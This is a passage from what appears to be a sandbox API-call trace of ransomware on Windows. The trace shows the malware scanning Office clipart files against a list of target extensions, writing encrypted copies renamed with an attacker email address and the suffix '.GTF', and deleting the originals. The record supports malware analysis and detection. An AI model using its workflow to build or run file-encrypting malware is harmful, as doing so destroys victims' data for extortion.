	[0088.745] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.745] lstrlenW (lpString=".ppt") returned 4
	[0088.745] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0088.745] lstrlenW (lpString=".zip") returned 4
	[0088.745] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.745] lstrlenW (lpString=".rar") returned 4
	[0088.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.745] lstrlenW (lpString=".bz2") returned 4
	[0088.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.745] lstrlenW (lpString=".7z") returned 3
	[0088.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0088.745] lstrlenW (lpString=".dbf") returned 4
	[0088.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0088.745] lstrlenW (lpString=".1cd") returned 4
	[0088.745] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 68
	[0088.746] lstrlenW (lpString=".jpg") returned 4
	[0088.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.746] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.746] lstrlenW (lpString="HH00524_.WMF") returned 12
	[0088.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.747] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=14688) returned 1
	[0088.747] CloseHandle (hObject=0x378) returned 1
	[0088.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 0x220
	[0088.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.747] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.747] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.747] GetLastError () returned 0x0
	[0088.747] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x3960, lpOverlapped=0x0) returned 1
	[0088.754] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x3970, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x3970, lpOverlapped=0x0) returned 1
	[0088.755] ReadFile (in: hFile=0x378, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.755] WriteFile (in: hFile=0x35c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.756] SetEndOfFile (hFile=0x35c) returned 1
	[0088.756] CloseHandle (hObject=0x35c) returned 1
	[0088.756] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.756] SetEndOfFile (hFile=0x378) returned 1
	[0088.757] CloseHandle (hObject=0x378) returned 1
	[0088.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00524_.wmf")) returned 1
	[0088.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0088.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0088.758] lstrlenW (lpString=".doc") returned 4
	[0088.758] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.758] lstrlenW (lpString=".docx") returned 5
	[0088.758] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.758] lstrlenW (lpString=".pdf") returned 4
	[0088.758] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.758] lstrlenW (lpString=".xls") returned 4
	[0088.758] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.758] lstrlenW (lpString=".xlsx") returned 5
	[0088.758] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.758] lstrlenW (lpString=".ppt") returned 4
	[0088.758] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0088.758] lstrlenW (lpString=".zip") returned 4
	[0088.758] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.758] lstrlenW (lpString=".rar") returned 4
	[0088.758] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.758] lstrlenW (lpString=".bz2") returned 4
	[0088.758] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.758] lstrlenW (lpString=".7z") returned 3
	[0088.758] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0088.758] lstrlenW (lpString=".dbf") returned 4
	[0088.758] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0088.758] lstrlenW (lpString=".1cd") returned 4
	[0088.758] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0088.758] lstrlenW (lpString=".jpg") returned 4
	[0088.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0088.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0088.759] lstrlenW (lpString=".doc") returned 4
	[0088.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.759] lstrlenW (lpString=".docx") returned 5
	[0088.759] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.759] lstrlenW (lpString=".pdf") returned 4
	[0088.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.759] lstrlenW (lpString=".xls") returned 4
	[0088.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.759] lstrlenW (lpString=".xlsx") returned 5
	[0088.759] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.759] lstrlenW (lpString=".ppt") returned 4
	[0088.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0088.759] lstrlenW (lpString=".zip") returned 4
	[0088.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.759] lstrlenW (lpString=".rar") returned 4
	[0088.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.759] lstrlenW (lpString=".bz2") returned 4
	[0088.759] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.759] lstrlenW (lpString=".7z") returned 3
	[0088.759] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0088.759] lstrlenW (lpString=".dbf") returned 4
	[0088.759] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0088.759] lstrlenW (lpString=".1cd") returned 4
	[0088.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00524_.WMF") returned 68
	[0088.759] lstrlenW (lpString=".jpg") returned 4
	[0088.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.760] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.760] lstrlenW (lpString="HH00527_.WMF") returned 12
	[0088.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0088.762] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=5798) returned 1
	[0088.762] CloseHandle (hObject=0x35c) returned 1
	[0088.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 0x220
	[0088.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.764] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.764] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0088.765] GetLastError () returned 0x0
	[0088.765] ReadFile (in: hFile=0x39c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x16a6, lpOverlapped=0x0) returned 1
	[0088.773] WriteFile (in: hFile=0x37c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x16b0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x16b0, lpOverlapped=0x0) returned 1
	[0088.774] ReadFile (in: hFile=0x39c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.774] WriteFile (in: hFile=0x37c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.774] SetEndOfFile (hFile=0x37c) returned 1
	[0088.774] CloseHandle (hObject=0x37c) returned 1
	[0088.775] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.775] SetEndOfFile (hFile=0x39c) returned 1
	[0088.775] CloseHandle (hObject=0x39c) returned 1
	[0088.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00527_.wmf")) returned 1
	[0088.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0088.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0088.776] lstrlenW (lpString=".doc") returned 4
	[0088.776] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.776] lstrlenW (lpString=".docx") returned 5
	[0088.776] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.776] lstrlenW (lpString=".pdf") returned 4
	[0088.776] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.776] lstrlenW (lpString=".xls") returned 4
	[0088.776] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.776] lstrlenW (lpString=".xlsx") returned 5
	[0088.776] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.776] lstrlenW (lpString=".ppt") returned 4
	[0088.776] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0088.776] lstrlenW (lpString=".zip") returned 4
	[0088.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.776] lstrlenW (lpString=".rar") returned 4
	[0088.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.776] lstrlenW (lpString=".bz2") returned 4
	[0088.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.777] lstrlenW (lpString=".7z") returned 3
	[0088.777] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0088.777] lstrlenW (lpString=".dbf") returned 4
	[0088.777] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0088.777] lstrlenW (lpString=".1cd") returned 4
	[0088.777] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0088.777] lstrlenW (lpString=".jpg") returned 4
	[0088.777] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0088.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0088.777] lstrlenW (lpString=".doc") returned 4
	[0088.777] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.777] lstrlenW (lpString=".docx") returned 5
	[0088.777] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.777] lstrlenW (lpString=".pdf") returned 4
	[0088.777] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.777] lstrlenW (lpString=".xls") returned 4
	[0088.777] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.777] lstrlenW (lpString=".xlsx") returned 5
	[0088.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.777] lstrlenW (lpString=".ppt") returned 4
	[0088.777] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0088.778] lstrlenW (lpString=".zip") returned 4
	[0088.778] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.778] lstrlenW (lpString=".rar") returned 4
	[0088.778] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.778] lstrlenW (lpString=".bz2") returned 4
	[0088.778] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.778] lstrlenW (lpString=".7z") returned 3
	[0088.778] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0088.778] lstrlenW (lpString=".dbf") returned 4
	[0088.778] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0088.778] lstrlenW (lpString=".1cd") returned 4
	[0088.778] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 68
	[0088.778] lstrlenW (lpString=".jpg") returned 4
	[0088.778] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.778] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0088.778] lstrlenW (lpString="HH00601_.WMF") returned 12
	[0088.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.778] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1468) returned 1
	[0088.778] CloseHandle (hObject=0x39c) returned 1
	[0088.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 0x220
	[0088.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0088.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0088.779] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.779] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0088.779] GetLastError () returned 0x0
	[0088.779] ReadFile (in: hFile=0x39c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x5bc, lpOverlapped=0x0) returned 1
	[0088.788] WriteFile (in: hFile=0x37c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x5c0, lpOverlapped=0x0) returned 1
	[0088.789] ReadFile (in: hFile=0x39c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.789] WriteFile (in: hFile=0x37c, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.789] SetEndOfFile (hFile=0x37c) returned 1
	[0088.789] CloseHandle (hObject=0x37c) returned 1
	[0088.789] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.789] SetEndOfFile (hFile=0x39c) returned 1
	[0088.790] CloseHandle (hObject=0x39c) returned 1
	[0088.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0088.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00601_.wmf")) returned 1
	[0088.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0088.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0088.790] lstrlenW (lpString=".doc") returned 4
	[0088.790] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.790] lstrlenW (lpString=".docx") returned 5
	[0088.790] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.790] lstrlenW (lpString=".pdf") returned 4
	[0088.790] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.790] lstrlenW (lpString=".xls") returned 4
	[0088.790] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.790] lstrlenW (lpString=".xlsx") returned 5
	[0088.790] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.790] lstrlenW (lpString=".ppt") returned 4
	[0088.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0088.791] lstrlenW (lpString=".zip") returned 4
	[0088.791] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.791] lstrlenW (lpString=".rar") returned 4
	[0088.791] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.791] lstrlenW (lpString=".bz2") returned 4
	[0088.791] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.791] lstrlenW (lpString=".7z") returned 3
	[0088.791] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0088.791] lstrlenW (lpString=".dbf") returned 4
	[0088.791] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0088.791] lstrlenW (lpString=".1cd") returned 4
	[0088.791] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0088.791] lstrlenW (lpString=".jpg") returned 4
	[0088.791] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0088.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00601_.WMF") returned 68
	[0088.791] lstrlenW (lpString=".doc") returned 4
	[0088.791] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.791] lstrlenW (lpString=".docx") returned 5
	[0088.791] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.791] lstrlenW (lpString=".pdf") returned 4
